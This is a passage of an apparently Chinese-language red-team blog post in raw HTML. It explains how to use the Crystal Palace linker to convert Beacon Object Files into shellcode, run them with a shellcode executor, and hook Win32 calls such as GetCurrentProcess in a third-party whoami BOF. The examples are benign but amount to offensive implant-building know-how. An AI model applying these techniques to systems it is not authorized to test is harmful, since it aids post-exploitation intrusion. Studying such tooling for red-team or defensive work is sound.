leaf="">BeaconDataExtract</span></span><span leaf=""> ( &amp;parser, </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf=""> );</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">BeaconPrintf</span></span><span leaf=""> ( CALLBACK_OUTPUT, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\n</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, message );</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">test.c</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">config.spec</span></code><span leaf="">文件用于配置 harness，需要在此处设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$COFF</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$ARGS</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">%entrypoint</span></code><span leaf="">变量。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">x</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    # load your coff</span><span leaf=""><br/></span><span leaf="">    load </span><span style="color: rgb(36, 41, 46);"><span leaf="">$COFF</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;bin/test.x64.o&#34;</span></span><span leaf=""><br/></span><span leaf="">    # </span><span style="color: rgb(0, 92, 197);"><span leaf="">pack</span></span><span leaf=""> args</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">pack</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$ARGS</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;iz&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;16&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Hello World x64&#34;</span></span><span leaf=""><br/></span><span leaf="">    # </span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> none, </span><span style="color: rgb(0, 92, 197);"><span leaf="">pack</span></span><span leaf=""> 0</span><span leaf=""><br/></span><span leaf="">    # </span><span style="color: rgb(0, 92, 197);"><span leaf="">pack</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$ARGS</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;b&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0x0&#34;</span></span><span leaf=""><br/></span><span leaf="">    # set desired entry point</span><span leaf=""><br/></span><span leaf="">    setg </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%entrypoint</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;go&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">config.spec</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要生成最终的 PIC，使用 Crystal Palace 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">piclink</span></code><span leaf="">工具：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">atomic-bofs$ ./piclink harness/loader.spec x64 test.x64.bin @test/config.spec</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们将框架的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">loader.spec</span></code><span leaf="">作为主 spec 文件，同时使用&#34;测试&#34;用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">config.spec</span></code><span leaf="">文件向其中追加配置。输出结果为一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.bin</span></code><span leaf="">文件，可用任意 shellcode 执行器运行。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">atomic</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bofs$ </span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">mnt</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">c</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">Tools</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">cpl</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">demo</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">run.x64.exe test.x64.bin</span><span leaf=""><br/></span><span leaf="">Allocated </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">x00000199df9f0000 (</span><span style="color: rgb(0, 92, 197);"><span leaf="">1611</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">bytes</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">PIC</span></span><span leaf=""><br/></span><span leaf="">Read </span><span style="color: rgb(0, 92, 197);"><span leaf="">1611</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">bytes</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">from</span></span><span leaf=""> test.x64.bin. Press </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;enter&#39;</span></span><span leaf=""> to </span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">.</span><span leaf=""><br/></span><span leaf="">BeaconOutput[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">]: Hello World x64</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第三方 BOFs</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">项目中的另一个示例使用了来自 TrustedSec 的 CS-Situational-Awareness-BOF 仓库中的 whoami BOF，展示了如何通过 BOF Cocktails 修改 BOF 的默认行为。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">hooks.c</span></code><span leaf="">包含一个针对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KERNEL32$GetCurrentProcess</span></code><span leaf="">的 hook：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;windows.h&gt;</span></span><span leaf=""><br/></span><span leaf="">HANDLE </span><span style="color: rgb(111, 66, 193);"><span leaf="">_GetCurrentProcess</span></span><span leaf=""> ( )</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">/* return pseudo handle directly */</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ( HANDLE ) ( -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> );</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">hooks.c</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">hooks.spec</span></code><span leaf="">文件将该函数合并至 COFF，并对 Win32 API 调用进行挂钩。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">x64:</span><span leaf=""><br/></span><span leaf="">    load </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;../bin/hooks.x64.o&#34;</span></span><span leaf=""><br/></span><span leaf="">        merge</span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;KERNEL32</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$GetCurrentProcess</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;_GetCurrentProcess&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">hooks.spec</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">config.spec</span></code><span leaf="">文件使用了 Crystal Palace 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">setg</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">resolve</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">before</span></code><span leaf="">命令。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">x</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    load </span><span style="color: rgb(36, 41, 46);"><span leaf="">$COFF</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;whoami.x64.o&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">pack</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$ARGS</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;b&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0x0&#34;</span></span><span leaf=""><br/></span><span leaf="">    setg </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%entrypoint</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;go&#34;</span></span><span leaf=""><br/></span><span leaf="">    setg </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%hooks</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hooks.spec&#34;</span></span><span leaf=""><br/></span><span leaf="">    resolve </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%hooks</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">    before </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;export&#34;</span></span><span leaf="">: run </span><span style="color: rgb(36, 41, 46);"><span leaf="">%hooks</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">config.spec</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本质上，我们挂钩了 Crystal Palace 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">export</span></code><span leaf="">命令，在最终导出执行前强制处理 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">hooks.spec</span></code><span leaf="">。这是一个非常不错的解决方案——无需对框架的核心 spec 文件做任何修改。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">若需运行多个 spec 文件，也可以叠加多条 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">before</span></code><span leaf="">命令。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">setg </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%spec1</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;spec1.spec&#34;</span></span><span leaf=""><br/></span><span leaf="">setg </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%spec2</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;spec2.spec&#34;</span></span><span leaf=""><br/></span><span leaf="">resolve </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%spec1</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">resolve </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%spec2</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">before </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;export&#34;</span></span><span leaf="">: run </span><span style="color: rgb(36, 41, 46);"><span leaf="">%spec1</span></span><span leaf=""><br/></span><span leaf="">before </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;export&#34;</span></span><span leaf="">: run </span><span style="color: rgb(36, 41, 46);"><span leaf="">%spec2</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">💡</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Raffi 向我演示了一种将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">before</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">foreach</span></code><span leaf="">结合的技巧，但实现稍显复杂，相比之下这种叠加方式更便于理解。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: 